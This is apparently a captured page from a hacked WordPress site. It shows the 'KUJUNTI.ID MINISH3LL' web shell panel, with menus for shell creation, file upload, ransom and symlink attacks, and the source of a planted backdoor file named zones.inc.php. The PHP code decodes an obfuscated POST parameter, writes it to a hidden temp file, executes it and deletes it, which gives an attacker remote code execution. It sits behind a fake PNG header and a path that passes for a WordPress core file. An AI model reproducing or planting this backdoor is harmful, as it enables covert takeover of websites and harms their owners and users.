\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/eceas/wp-includes/Text/met/random/php/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/eceas/wp-includes/Text/met/random/php/zones.inc.php


<?php

if(!empty($_POST["fa\x63"])){
	$ent = $_POST["fa\x63"];
				$ent 	=			explode 		("." 	,$ent	); 
	$factor='';
            $salt='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($salt);
            $z=0;
    
            foreach ($ent as $v4) {$chS=ord($salt[$z % $sLen]);
                $dec=((int)$v4 - $chS - ($z % 10)) ^  54;
                $factor .= chr($dec);
                $z++;} 	
	$parameter_group = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]);
	foreach ($parameter_group as $sym) {
    		if (array_product([is_dir($sym), is_writable($sym)])) {
    $reference = "$sym" . "/.marker";
    if (@file_put_contents($reference, $factor) !== false) {
	include $reference;
	unlink($reference);
	exit;
}
}
}
}

© KUJUNTI.ID